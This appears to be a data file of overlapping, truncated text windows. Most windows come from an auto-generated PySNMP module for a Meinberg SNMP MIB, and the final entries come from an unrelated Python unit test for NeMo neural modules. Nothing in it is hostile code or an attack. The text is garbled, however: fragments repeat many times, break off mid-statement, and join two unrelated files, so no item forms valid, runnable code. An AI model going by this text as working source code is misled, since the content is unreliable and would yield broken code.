"# Produced by pysmi-0.3.4 at Fri May 1 22:39:55 2020 # On host",
"# PySNMP MIB module MBG-SNMP-ROOT-MIB (http://snmplabs.com/pysmi) # ASN.1 source file://./MBG-SNMP-ROOT-MIB.mib # Produced by",
"\"NotificationGroup\") IpAddress, Gauge32, ModuleIdentity, Unsigned32, enterprises, Bits, Integer32, ObjectIdentity, iso, Counter64, NotificationType, TimeTicks,",
"\"TextualConvention\", \"DisplayString\") mbgSnmpRoot = ModuleIdentity((1, 3, 6, 1, 4, 1, 5597)) mbgSnmpRoot.setRevisions(('2012-01-25 07:45',",
"3.6.9 (default, Apr 18 2020, 01:56:04) # OctetString, Integer, ObjectIdentifier = mibBuilder.importSymbols(\"ASN1\", \"OctetString\",",
"Bits, Integer32, ObjectIdentity, iso, Counter64, NotificationType, TimeTicks, Counter32, MibScalar, MibTable, MibTableRow, MibTableColumn, MibIdentifier",
"18 2020, 01:56:04) # OctetString, Integer, ObjectIdentifier = mibBuilder.importSymbols(\"ASN1\", \"OctetString\", \"Integer\", \"ObjectIdentifier\") NamedValues,",
"01:56:04) # OctetString, Integer, ObjectIdentifier = mibBuilder.importSymbols(\"ASN1\", \"OctetString\", \"Integer\", \"ObjectIdentifier\") NamedValues, = mibBuilder.importSymbols(\"ASN1-ENUMERATION\",",
"pysmi-0.3.4 at Fri May 1 22:39:55 2020 # On host grumpy platform Linux",
"ObjectIdentifier = mibBuilder.importSymbols(\"ASN1\", \"OctetString\", \"Integer\", \"ObjectIdentifier\") NamedValues, = mibBuilder.importSymbols(\"ASN1-ENUMERATION\", \"NamedValues\") ConstraintsUnion, ValueSizeConstraint, SingleValueConstraint,",
"'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1)) namedValues = NamedValues((\"off\", 0), (\"on\", 1))",
"TextualConvention, DisplayString = mibBuilder.importSymbols(\"SNMPv2-TC\", \"TextualConvention\", \"DisplayString\") mbgSnmpRoot = ModuleIdentity((1, 3, 6, 1, 4,",
"ValueSizeConstraint, SingleValueConstraint, ValueRangeConstraint, ConstraintsIntersection = mibBuilder.importSymbols(\"ASN1-REFINEMENT\", \"ConstraintsUnion\", \"ValueSizeConstraint\", \"SingleValueConstraint\", \"ValueRangeConstraint\", \"ConstraintsIntersection\") ModuleCompliance, NotificationGroup",
"Radio Clocks GmbH & Co. KG') class MeinbergSwitch(TextualConvention, Integer32): status = 'current' subtypeSpec",
"\"SingleValueConstraint\", \"ValueRangeConstraint\", \"ConstraintsIntersection\") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols(\"SNMPv2-CONF\", \"ModuleCompliance\", \"NotificationGroup\") IpAddress, Gauge32, ModuleIdentity, Unsigned32,",
"MibTableRow, MibTableColumn, MibIdentifier = mibBuilder.importSymbols(\"SNMPv2-SMI\", \"IpAddress\", \"Gauge32\", \"ModuleIdentity\", \"Unsigned32\", \"enterprises\", \"Bits\", \"Integer32\", \"ObjectIdentity\",",
"(http://snmplabs.com/pysmi) # ASN.1 source file://./MBG-SNMP-ROOT-MIB.mib # Produced by pysmi-0.3.4 at Fri May 1",
"NotificationGroup = mibBuilder.importSymbols(\"SNMPv2-CONF\", \"ModuleCompliance\", \"NotificationGroup\") IpAddress, Gauge32, ModuleIdentity, Unsigned32, enterprises, Bits, Integer32, ObjectIdentity,",
"KG') class MeinbergSwitch(TextualConvention, Integer32): status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1))",
"\"MibIdentifier\") TextualConvention, DisplayString = mibBuilder.importSymbols(\"SNMPv2-TC\", \"TextualConvention\", \"DisplayString\") mbgSnmpRoot = ModuleIdentity((1, 3, 6, 1,",
"\"NamedValues\") ConstraintsUnion, ValueSizeConstraint, SingleValueConstraint, ValueRangeConstraint, ConstraintsIntersection = mibBuilder.importSymbols(\"ASN1-REFINEMENT\", \"ConstraintsUnion\", \"ValueSizeConstraint\", \"SingleValueConstraint\", \"ValueRangeConstraint\", \"ConstraintsIntersection\")",
"# On host grumpy platform Linux version 4.15.0-88-generic by user bjk49 # Using",
"Gauge32, ModuleIdentity, Unsigned32, enterprises, Bits, Integer32, ObjectIdentity, iso, Counter64, NotificationType, TimeTicks, Counter32, MibScalar,",
"\"Unsigned32\", \"enterprises\", \"Bits\", \"Integer32\", \"ObjectIdentity\", \"iso\", \"Counter64\", \"NotificationType\", \"TimeTicks\", \"Counter32\", \"MibScalar\", \"MibTable\", \"MibTableRow\",",
"Apr 18 2020, 01:56:04) # OctetString, Integer, ObjectIdentifier = mibBuilder.importSymbols(\"ASN1\", \"OctetString\", \"Integer\", \"ObjectIdentifier\")",
"module MBG-SNMP-ROOT-MIB (http://snmplabs.com/pysmi) # ASN.1 source file://./MBG-SNMP-ROOT-MIB.mib # Produced by pysmi-0.3.4 at Fri",
"MibIdentifier = mibBuilder.importSymbols(\"SNMPv2-SMI\", \"IpAddress\", \"Gauge32\", \"ModuleIdentity\", \"Unsigned32\", \"enterprises\", \"Bits\", \"Integer32\", \"ObjectIdentity\", \"iso\", \"Counter64\",",
"TimeTicks, Counter32, MibScalar, MibTable, MibTableRow, MibTableColumn, MibIdentifier = mibBuilder.importSymbols(\"SNMPv2-SMI\", \"IpAddress\", \"Gauge32\", \"ModuleIdentity\", \"Unsigned32\",",
"Using Python version 3.6.9 (default, Apr 18 2020, 01:56:04) # OctetString, Integer, ObjectIdentifier",
"\"iso\", \"Counter64\", \"NotificationType\", \"TimeTicks\", \"Counter32\", \"MibScalar\", \"MibTable\", \"MibTableRow\", \"MibTableColumn\", \"MibIdentifier\") TextualConvention, DisplayString =",
"mbgSnmpRoot.setRevisions(('2012-01-25 07:45', '2011-10-14 06:30',)) if mibBuilder.loadTexts: mbgSnmpRoot.setLastUpdated('201201250745Z') if mibBuilder.loadTexts: mbgSnmpRoot.setOrganization('Meinberg Radio Clocks GmbH",
"ModuleIdentity, Unsigned32, enterprises, Bits, Integer32, ObjectIdentity, iso, Counter64, NotificationType, TimeTicks, Counter32, MibScalar, MibTable,",
"\"Bits\", \"Integer32\", \"ObjectIdentity\", \"iso\", \"Counter64\", \"NotificationType\", \"TimeTicks\", \"Counter32\", \"MibScalar\", \"MibTable\", \"MibTableRow\", \"MibTableColumn\", \"MibIdentifier\")",
"by user bjk49 # Using Python version 3.6.9 (default, Apr 18 2020, 01:56:04)",
"subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1)) namedValues = NamedValues((\"off\", 0), (\"on\", 1)) mibBuilder.exportSymbols(\"MBG-SNMP-ROOT-MIB\",",
"ConstraintsIntersection = mibBuilder.importSymbols(\"ASN1-REFINEMENT\", \"ConstraintsUnion\", \"ValueSizeConstraint\", \"SingleValueConstraint\", \"ValueRangeConstraint\", \"ConstraintsIntersection\") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols(\"SNMPv2-CONF\", \"ModuleCompliance\",",
"3, 6, 1, 4, 1, 5597)) mbgSnmpRoot.setRevisions(('2012-01-25 07:45', '2011-10-14 06:30',)) if mibBuilder.loadTexts: mbgSnmpRoot.setLastUpdated('201201250745Z')",
"iso, Counter64, NotificationType, TimeTicks, Counter32, MibScalar, MibTable, MibTableRow, MibTableColumn, MibIdentifier = mibBuilder.importSymbols(\"SNMPv2-SMI\", \"IpAddress\",",
"mibBuilder.loadTexts: mbgSnmpRoot.setLastUpdated('201201250745Z') if mibBuilder.loadTexts: mbgSnmpRoot.setOrganization('Meinberg Radio Clocks GmbH & Co. KG') class MeinbergSwitch(TextualConvention,",
"MibScalar, MibTable, MibTableRow, MibTableColumn, MibIdentifier = mibBuilder.importSymbols(\"SNMPv2-SMI\", \"IpAddress\", \"Gauge32\", \"ModuleIdentity\", \"Unsigned32\", \"enterprises\", \"Bits\",",
"Unsigned32, enterprises, Bits, Integer32, ObjectIdentity, iso, Counter64, NotificationType, TimeTicks, Counter32, MibScalar, MibTable, MibTableRow,",
"version 4.15.0-88-generic by user bjk49 # Using Python version 3.6.9 (default, Apr 18",
"mibBuilder.importSymbols(\"SNMPv2-TC\", \"TextualConvention\", \"DisplayString\") mbgSnmpRoot = ModuleIdentity((1, 3, 6, 1, 4, 1, 5597)) mbgSnmpRoot.setRevisions(('2012-01-25",
"\"ModuleIdentity\", \"Unsigned32\", \"enterprises\", \"Bits\", \"Integer32\", \"ObjectIdentity\", \"iso\", \"Counter64\", \"NotificationType\", \"TimeTicks\", \"Counter32\", \"MibScalar\", \"MibTable\",",
"= mibBuilder.importSymbols(\"ASN1\", \"OctetString\", \"Integer\", \"ObjectIdentifier\") NamedValues, = mibBuilder.importSymbols(\"ASN1-ENUMERATION\", \"NamedValues\") ConstraintsUnion, ValueSizeConstraint, SingleValueConstraint, ValueRangeConstraint,",
"On host grumpy platform Linux version 4.15.0-88-generic by user bjk49 # Using Python",
"PySNMP MIB module MBG-SNMP-ROOT-MIB (http://snmplabs.com/pysmi) # ASN.1 source file://./MBG-SNMP-ROOT-MIB.mib # Produced by pysmi-0.3.4",
"if mibBuilder.loadTexts: mbgSnmpRoot.setLastUpdated('201201250745Z') if mibBuilder.loadTexts: mbgSnmpRoot.setOrganization('Meinberg Radio Clocks GmbH & Co. KG') class",
"\"ConstraintsIntersection\") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols(\"SNMPv2-CONF\", \"ModuleCompliance\", \"NotificationGroup\") IpAddress, Gauge32, ModuleIdentity, Unsigned32, enterprises, Bits,",
"Integer, ObjectIdentifier = mibBuilder.importSymbols(\"ASN1\", \"OctetString\", \"Integer\", \"ObjectIdentifier\") NamedValues, = mibBuilder.importSymbols(\"ASN1-ENUMERATION\", \"NamedValues\") ConstraintsUnion, ValueSizeConstraint,",
"source file://./MBG-SNMP-ROOT-MIB.mib # Produced by pysmi-0.3.4 at Fri May 1 22:39:55 2020 #",
"\"ObjectIdentifier\") NamedValues, = mibBuilder.importSymbols(\"ASN1-ENUMERATION\", \"NamedValues\") ConstraintsUnion, ValueSizeConstraint, SingleValueConstraint, ValueRangeConstraint, ConstraintsIntersection = mibBuilder.importSymbols(\"ASN1-REFINEMENT\", \"ConstraintsUnion\",",
"= mibBuilder.importSymbols(\"ASN1-ENUMERATION\", \"NamedValues\") ConstraintsUnion, ValueSizeConstraint, SingleValueConstraint, ValueRangeConstraint, ConstraintsIntersection = mibBuilder.importSymbols(\"ASN1-REFINEMENT\", \"ConstraintsUnion\", \"ValueSizeConstraint\", \"SingleValueConstraint\",",
"\"DisplayString\") mbgSnmpRoot = ModuleIdentity((1, 3, 6, 1, 4, 1, 5597)) mbgSnmpRoot.setRevisions(('2012-01-25 07:45', '2011-10-14",
"Clocks GmbH & Co. KG') class MeinbergSwitch(TextualConvention, Integer32): status = 'current' subtypeSpec =",
"+ ConstraintsUnion(SingleValueConstraint(0, 1)) namedValues = NamedValues((\"off\", 0), (\"on\", 1)) mibBuilder.exportSymbols(\"MBG-SNMP-ROOT-MIB\", mbgSnmpRoot=mbgSnmpRoot, MeinbergSwitch=MeinbergSwitch, PYSNMP_MODULE_ID=mbgSnmpRoot)",
"ModuleIdentity((1, 3, 6, 1, 4, 1, 5597)) mbgSnmpRoot.setRevisions(('2012-01-25 07:45', '2011-10-14 06:30',)) if mibBuilder.loadTexts:",
"= Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1)) namedValues = NamedValues((\"off\", 0), (\"on\", 1)) mibBuilder.exportSymbols(\"MBG-SNMP-ROOT-MIB\", mbgSnmpRoot=mbgSnmpRoot,",
"mibBuilder.importSymbols(\"SNMPv2-CONF\", \"ModuleCompliance\", \"NotificationGroup\") IpAddress, Gauge32, ModuleIdentity, Unsigned32, enterprises, Bits, Integer32, ObjectIdentity, iso, Counter64,",
"mbgSnmpRoot = ModuleIdentity((1, 3, 6, 1, 4, 1, 5597)) mbgSnmpRoot.setRevisions(('2012-01-25 07:45', '2011-10-14 06:30',))",
"1, 5597)) mbgSnmpRoot.setRevisions(('2012-01-25 07:45', '2011-10-14 06:30',)) if mibBuilder.loadTexts: mbgSnmpRoot.setLastUpdated('201201250745Z') if mibBuilder.loadTexts: mbgSnmpRoot.setOrganization('Meinberg Radio",
"= mibBuilder.importSymbols(\"ASN1-REFINEMENT\", \"ConstraintsUnion\", \"ValueSizeConstraint\", \"SingleValueConstraint\", \"ValueRangeConstraint\", \"ConstraintsIntersection\") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols(\"SNMPv2-CONF\", \"ModuleCompliance\", \"NotificationGroup\")",
"= mibBuilder.importSymbols(\"SNMPv2-CONF\", \"ModuleCompliance\", \"NotificationGroup\") IpAddress, Gauge32, ModuleIdentity, Unsigned32, enterprises, Bits, Integer32, ObjectIdentity, iso,",
"\"MibTableColumn\", \"MibIdentifier\") TextualConvention, DisplayString = mibBuilder.importSymbols(\"SNMPv2-TC\", \"TextualConvention\", \"DisplayString\") mbgSnmpRoot = ModuleIdentity((1, 3, 6,",
"at Fri May 1 22:39:55 2020 # On host grumpy platform Linux version",
"\"MibTable\", \"MibTableRow\", \"MibTableColumn\", \"MibIdentifier\") TextualConvention, DisplayString = mibBuilder.importSymbols(\"SNMPv2-TC\", \"TextualConvention\", \"DisplayString\") mbgSnmpRoot = ModuleIdentity((1,",
"MBG-SNMP-ROOT-MIB (http://snmplabs.com/pysmi) # ASN.1 source file://./MBG-SNMP-ROOT-MIB.mib # Produced by pysmi-0.3.4 at Fri May",
"MibTable, MibTableRow, MibTableColumn, MibIdentifier = mibBuilder.importSymbols(\"SNMPv2-SMI\", \"IpAddress\", \"Gauge32\", \"ModuleIdentity\", \"Unsigned32\", \"enterprises\", \"Bits\", \"Integer32\",",
"NotificationType, TimeTicks, Counter32, MibScalar, MibTable, MibTableRow, MibTableColumn, MibIdentifier = mibBuilder.importSymbols(\"SNMPv2-SMI\", \"IpAddress\", \"Gauge32\", \"ModuleIdentity\",",
"version 3.6.9 (default, Apr 18 2020, 01:56:04) # OctetString, Integer, ObjectIdentifier = mibBuilder.importSymbols(\"ASN1\",",
"grumpy platform Linux version 4.15.0-88-generic by user bjk49 # Using Python version 3.6.9",
"May 1 22:39:55 2020 # On host grumpy platform Linux version 4.15.0-88-generic by",
"mibBuilder.importSymbols(\"SNMPv2-SMI\", \"IpAddress\", \"Gauge32\", \"ModuleIdentity\", \"Unsigned32\", \"enterprises\", \"Bits\", \"Integer32\", \"ObjectIdentity\", \"iso\", \"Counter64\", \"NotificationType\", \"TimeTicks\",",
"ModuleCompliance, NotificationGroup = mibBuilder.importSymbols(\"SNMPv2-CONF\", \"ModuleCompliance\", \"NotificationGroup\") IpAddress, Gauge32, ModuleIdentity, Unsigned32, enterprises, Bits, Integer32,",
"MibTableColumn, MibIdentifier = mibBuilder.importSymbols(\"SNMPv2-SMI\", \"IpAddress\", \"Gauge32\", \"ModuleIdentity\", \"Unsigned32\", \"enterprises\", \"Bits\", \"Integer32\", \"ObjectIdentity\", \"iso\",",
"\"Gauge32\", \"ModuleIdentity\", \"Unsigned32\", \"enterprises\", \"Bits\", \"Integer32\", \"ObjectIdentity\", \"iso\", \"Counter64\", \"NotificationType\", \"TimeTicks\", \"Counter32\", \"MibScalar\",",
"DisplayString = mibBuilder.importSymbols(\"SNMPv2-TC\", \"TextualConvention\", \"DisplayString\") mbgSnmpRoot = ModuleIdentity((1, 3, 6, 1, 4, 1,",
"user bjk49 # Using Python version 3.6.9 (default, Apr 18 2020, 01:56:04) #",
"\"MibTableRow\", \"MibTableColumn\", \"MibIdentifier\") TextualConvention, DisplayString = mibBuilder.importSymbols(\"SNMPv2-TC\", \"TextualConvention\", \"DisplayString\") mbgSnmpRoot = ModuleIdentity((1, 3,",
"4, 1, 5597)) mbgSnmpRoot.setRevisions(('2012-01-25 07:45', '2011-10-14 06:30',)) if mibBuilder.loadTexts: mbgSnmpRoot.setLastUpdated('201201250745Z') if mibBuilder.loadTexts: mbgSnmpRoot.setOrganization('Meinberg",
"NamedValues, = mibBuilder.importSymbols(\"ASN1-ENUMERATION\", \"NamedValues\") ConstraintsUnion, ValueSizeConstraint, SingleValueConstraint, ValueRangeConstraint, ConstraintsIntersection = mibBuilder.importSymbols(\"ASN1-REFINEMENT\", \"ConstraintsUnion\", \"ValueSizeConstraint\",",
"\"Integer32\", \"ObjectIdentity\", \"iso\", \"Counter64\", \"NotificationType\", \"TimeTicks\", \"Counter32\", \"MibScalar\", \"MibTable\", \"MibTableRow\", \"MibTableColumn\", \"MibIdentifier\") TextualConvention,",
"ValueRangeConstraint, ConstraintsIntersection = mibBuilder.importSymbols(\"ASN1-REFINEMENT\", \"ConstraintsUnion\", \"ValueSizeConstraint\", \"SingleValueConstraint\", \"ValueRangeConstraint\", \"ConstraintsIntersection\") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols(\"SNMPv2-CONF\",",
"file://./MBG-SNMP-ROOT-MIB.mib # Produced by pysmi-0.3.4 at Fri May 1 22:39:55 2020 # On",
"OctetString, Integer, ObjectIdentifier = mibBuilder.importSymbols(\"ASN1\", \"OctetString\", \"Integer\", \"ObjectIdentifier\") NamedValues, = mibBuilder.importSymbols(\"ASN1-ENUMERATION\", \"NamedValues\") ConstraintsUnion,",
"6, 1, 4, 1, 5597)) mbgSnmpRoot.setRevisions(('2012-01-25 07:45', '2011-10-14 06:30',)) if mibBuilder.loadTexts: mbgSnmpRoot.setLastUpdated('201201250745Z') if",
"bjk49 # Using Python version 3.6.9 (default, Apr 18 2020, 01:56:04) # OctetString,",
"if mibBuilder.loadTexts: mbgSnmpRoot.setOrganization('Meinberg Radio Clocks GmbH & Co. KG') class MeinbergSwitch(TextualConvention, Integer32): status",
"# ASN.1 source file://./MBG-SNMP-ROOT-MIB.mib # Produced by pysmi-0.3.4 at Fri May 1 22:39:55",
"Produced by pysmi-0.3.4 at Fri May 1 22:39:55 2020 # On host grumpy",
"Python version 3.6.9 (default, Apr 18 2020, 01:56:04) # OctetString, Integer, ObjectIdentifier =",
"\"Integer\", \"ObjectIdentifier\") NamedValues, = mibBuilder.importSymbols(\"ASN1-ENUMERATION\", \"NamedValues\") ConstraintsUnion, ValueSizeConstraint, SingleValueConstraint, ValueRangeConstraint, ConstraintsIntersection = mibBuilder.importSymbols(\"ASN1-REFINEMENT\",",
"\"ValueRangeConstraint\", \"ConstraintsIntersection\") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols(\"SNMPv2-CONF\", \"ModuleCompliance\", \"NotificationGroup\") IpAddress, Gauge32, ModuleIdentity, Unsigned32, enterprises,",
"\"Counter64\", \"NotificationType\", \"TimeTicks\", \"Counter32\", \"MibScalar\", \"MibTable\", \"MibTableRow\", \"MibTableColumn\", \"MibIdentifier\") TextualConvention, DisplayString = mibBuilder.importSymbols(\"SNMPv2-TC\",",
"'2011-10-14 06:30',)) if mibBuilder.loadTexts: mbgSnmpRoot.setLastUpdated('201201250745Z') if mibBuilder.loadTexts: mbgSnmpRoot.setOrganization('Meinberg Radio Clocks GmbH & Co.",
"\"ModuleCompliance\", \"NotificationGroup\") IpAddress, Gauge32, ModuleIdentity, Unsigned32, enterprises, Bits, Integer32, ObjectIdentity, iso, Counter64, NotificationType,",
"= mibBuilder.importSymbols(\"SNMPv2-TC\", \"TextualConvention\", \"DisplayString\") mbgSnmpRoot = ModuleIdentity((1, 3, 6, 1, 4, 1, 5597))",
"= mibBuilder.importSymbols(\"SNMPv2-SMI\", \"IpAddress\", \"Gauge32\", \"ModuleIdentity\", \"Unsigned32\", \"enterprises\", \"Bits\", \"Integer32\", \"ObjectIdentity\", \"iso\", \"Counter64\", \"NotificationType\",",
"Fri May 1 22:39:55 2020 # On host grumpy platform Linux version 4.15.0-88-generic",
"# Using Python version 3.6.9 (default, Apr 18 2020, 01:56:04) # OctetString, Integer,",
"\"ValueSizeConstraint\", \"SingleValueConstraint\", \"ValueRangeConstraint\", \"ConstraintsIntersection\") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols(\"SNMPv2-CONF\", \"ModuleCompliance\", \"NotificationGroup\") IpAddress, Gauge32, ModuleIdentity,",
"1 22:39:55 2020 # On host grumpy platform Linux version 4.15.0-88-generic by user",
"platform Linux version 4.15.0-88-generic by user bjk49 # Using Python version 3.6.9 (default,",
"\"MibScalar\", \"MibTable\", \"MibTableRow\", \"MibTableColumn\", \"MibIdentifier\") TextualConvention, DisplayString = mibBuilder.importSymbols(\"SNMPv2-TC\", \"TextualConvention\", \"DisplayString\") mbgSnmpRoot =",
"\"NotificationType\", \"TimeTicks\", \"Counter32\", \"MibScalar\", \"MibTable\", \"MibTableRow\", \"MibTableColumn\", \"MibIdentifier\") TextualConvention, DisplayString = mibBuilder.importSymbols(\"SNMPv2-TC\", \"TextualConvention\",",
"Integer32): status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1)) namedValues = NamedValues((\"off\",",
"mbgSnmpRoot.setLastUpdated('201201250745Z') if mibBuilder.loadTexts: mbgSnmpRoot.setOrganization('Meinberg Radio Clocks GmbH & Co. KG') class MeinbergSwitch(TextualConvention, Integer32):",
"ASN.1 source file://./MBG-SNMP-ROOT-MIB.mib # Produced by pysmi-0.3.4 at Fri May 1 22:39:55 2020",
"MIB module MBG-SNMP-ROOT-MIB (http://snmplabs.com/pysmi) # ASN.1 source file://./MBG-SNMP-ROOT-MIB.mib # Produced by pysmi-0.3.4 at",
"Counter64, NotificationType, TimeTicks, Counter32, MibScalar, MibTable, MibTableRow, MibTableColumn, MibIdentifier = mibBuilder.importSymbols(\"SNMPv2-SMI\", \"IpAddress\", \"Gauge32\",",
"status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1)) namedValues = NamedValues((\"off\", 0),",
"by pysmi-0.3.4 at Fri May 1 22:39:55 2020 # On host grumpy platform",
"\"TimeTicks\", \"Counter32\", \"MibScalar\", \"MibTable\", \"MibTableRow\", \"MibTableColumn\", \"MibIdentifier\") TextualConvention, DisplayString = mibBuilder.importSymbols(\"SNMPv2-TC\", \"TextualConvention\", \"DisplayString\")",
"SingleValueConstraint, ValueRangeConstraint, ConstraintsIntersection = mibBuilder.importSymbols(\"ASN1-REFINEMENT\", \"ConstraintsUnion\", \"ValueSizeConstraint\", \"SingleValueConstraint\", \"ValueRangeConstraint\", \"ConstraintsIntersection\") ModuleCompliance, NotificationGroup =",
"mibBuilder.importSymbols(\"ASN1-REFINEMENT\", \"ConstraintsUnion\", \"ValueSizeConstraint\", \"SingleValueConstraint\", \"ValueRangeConstraint\", \"ConstraintsIntersection\") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols(\"SNMPv2-CONF\", \"ModuleCompliance\", \"NotificationGroup\") IpAddress,",
"Linux version 4.15.0-88-generic by user bjk49 # Using Python version 3.6.9 (default, Apr",
"2020 # On host grumpy platform Linux version 4.15.0-88-generic by user bjk49 #",
"mibBuilder.importSymbols(\"ASN1-ENUMERATION\", \"NamedValues\") ConstraintsUnion, ValueSizeConstraint, SingleValueConstraint, ValueRangeConstraint, ConstraintsIntersection = mibBuilder.importSymbols(\"ASN1-REFINEMENT\", \"ConstraintsUnion\", \"ValueSizeConstraint\", \"SingleValueConstraint\", \"ValueRangeConstraint\",",
"\"OctetString\", \"Integer\", \"ObjectIdentifier\") NamedValues, = mibBuilder.importSymbols(\"ASN1-ENUMERATION\", \"NamedValues\") ConstraintsUnion, ValueSizeConstraint, SingleValueConstraint, ValueRangeConstraint, ConstraintsIntersection =",
"ObjectIdentity, iso, Counter64, NotificationType, TimeTicks, Counter32, MibScalar, MibTable, MibTableRow, MibTableColumn, MibIdentifier = mibBuilder.importSymbols(\"SNMPv2-SMI\",",
"mibBuilder.importSymbols(\"ASN1\", \"OctetString\", \"Integer\", \"ObjectIdentifier\") NamedValues, = mibBuilder.importSymbols(\"ASN1-ENUMERATION\", \"NamedValues\") ConstraintsUnion, ValueSizeConstraint, SingleValueConstraint, ValueRangeConstraint, ConstraintsIntersection",
"= 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1)) namedValues = NamedValues((\"off\", 0), (\"on\",",
"MeinbergSwitch(TextualConvention, Integer32): status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1)) namedValues =",
"Co. KG') class MeinbergSwitch(TextualConvention, Integer32): status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0,",
"Counter32, MibScalar, MibTable, MibTableRow, MibTableColumn, MibIdentifier = mibBuilder.importSymbols(\"SNMPv2-SMI\", \"IpAddress\", \"Gauge32\", \"ModuleIdentity\", \"Unsigned32\", \"enterprises\",",
"\"Counter32\", \"MibScalar\", \"MibTable\", \"MibTableRow\", \"MibTableColumn\", \"MibIdentifier\") TextualConvention, DisplayString = mibBuilder.importSymbols(\"SNMPv2-TC\", \"TextualConvention\", \"DisplayString\") mbgSnmpRoot",
"Integer32, ObjectIdentity, iso, Counter64, NotificationType, TimeTicks, Counter32, MibScalar, MibTable, MibTableRow, MibTableColumn, MibIdentifier =",
"5597)) mbgSnmpRoot.setRevisions(('2012-01-25 07:45', '2011-10-14 06:30',)) if mibBuilder.loadTexts: mbgSnmpRoot.setLastUpdated('201201250745Z') if mibBuilder.loadTexts: mbgSnmpRoot.setOrganization('Meinberg Radio Clocks",
"Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1)) namedValues = NamedValues((\"off\", 0), (\"on\", 1)) mibBuilder.exportSymbols(\"MBG-SNMP-ROOT-MIB\", mbgSnmpRoot=mbgSnmpRoot, MeinbergSwitch=MeinbergSwitch,",
"# OctetString, Integer, ObjectIdentifier = mibBuilder.importSymbols(\"ASN1\", \"OctetString\", \"Integer\", \"ObjectIdentifier\") NamedValues, = mibBuilder.importSymbols(\"ASN1-ENUMERATION\", \"NamedValues\")"
] |
[
"# # Licensed under the Apache License, Version 2.0 (the \"License\"); # you",
"writing, software # distributed under the License is distributed on an \"AS IS\"",
"under the License. # ============================================================================= # TODO: These test look bad/useless - redo",
"\"target\": y}) self.assertEqual(y_pred.producer, trainable_module) self.assertEqual(y_pred.producer_args, {\"x\": x}) self.assertEqual(y.producer, data_source) self.assertEqual(y.producer_args, {}) self.assertEqual(x.producer, data_source)",
"TestNM2(TestNM1): def __init__(self, var2): super(TestNM2, self).__init__(var2=var2) class TestNeuralModulesPT(NeMoUnitTest): def setUp(self) -> None: super().setUp()",
"nemo.core.neural_types import ChannelType, NeuralType from tests.common_setup import NeMoUnitTest class TestNM1(TrainableNM): def __init__(self, var1=1,",
"KIND, either express or implied. # See the License for the specific language",
"class TestNM2(TestNM1): def __init__(self, var2): super(TestNM2, self).__init__(var2=var2) class TestNeuralModulesPT(NeMoUnitTest): def setUp(self) -> None:",
"Unless required by applicable law or agreed to in writing, software # distributed",
"simple_nm = TestNM1(var1=1) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 1) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 3) def",
"1) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 3) def test_simple_init_params(self): simple_nm = TestNM1(var1=10, var3=30) init_params =",
"You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #",
"the License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR",
"# See the License for the specific language governing permissions and # limitations",
"= tn(x=x_tg) self.assertEqual(y_pred.producer, tn) self.assertEqual(y_pred.producer_args.get(\"x\"), x_tg) def test_simple_chain(self): data_source = nemo.backends.pytorch.tutorials.RealFunctionDataLayer(n=10000, batch_size=1) trainable_module",
"var2=2, var3=3): super(TestNM1, self).__init__() class TestNM2(TestNM1): def __init__(self, var2): super(TestNM2, self).__init__(var2=var2) class TestNeuralModulesPT(NeMoUnitTest):",
"self.assertEqual(loss_tensor.producer, loss) self.assertEqual(loss_tensor.producer_args, {\"predictions\": y_pred, \"target\": y}) self.assertEqual(y_pred.producer, trainable_module) self.assertEqual(y_pred.producer_args, {\"x\": x}) self.assertEqual(y.producer,",
"loss) self.assertEqual(loss_tensor.producer_args, {\"predictions\": y_pred, \"target\": y}) self.assertEqual(y_pred.producer, trainable_module) self.assertEqual(y_pred.producer_args, {\"x\": x}) self.assertEqual(y.producer, data_source)",
"License. # You may obtain a copy of the License at # #",
"self.assertEqual(y_pred.producer_args.get(\"x\"), x_tg) def test_simple_chain(self): data_source = nemo.backends.pytorch.tutorials.RealFunctionDataLayer(n=10000, batch_size=1) trainable_module = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) loss =",
"y_pred, \"target\": y}) self.assertEqual(y_pred.producer, trainable_module) self.assertEqual(y_pred.producer_args, {\"x\": x}) self.assertEqual(y.producer, data_source) self.assertEqual(y.producer_args, {}) self.assertEqual(x.producer,",
"self.assertEqual(y_pred.producer, tn) self.assertEqual(y_pred.producer_args.get(\"x\"), x_tg) def test_simple_chain(self): data_source = nemo.backends.pytorch.tutorials.RealFunctionDataLayer(n=10000, batch_size=1) trainable_module = nemo.backends.pytorch.tutorials.TaylorNet(dim=4)",
"specific language governing permissions and # limitations under the License. # ============================================================================= #",
"trainable_module(x=x) loss_tensor = loss(predictions=y_pred, target=y) # check producers' bookkeeping self.assertEqual(loss_tensor.producer, loss) self.assertEqual(loss_tensor.producer_args, {\"predictions\":",
"batch_size=1) trainable_module = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) loss = nemo.backends.pytorch.tutorials.MSELoss() x, y = data_source() y_pred =",
"x, y = data_source() y_pred = trainable_module(x=x) loss_tensor = loss(predictions=y_pred, target=y) # check",
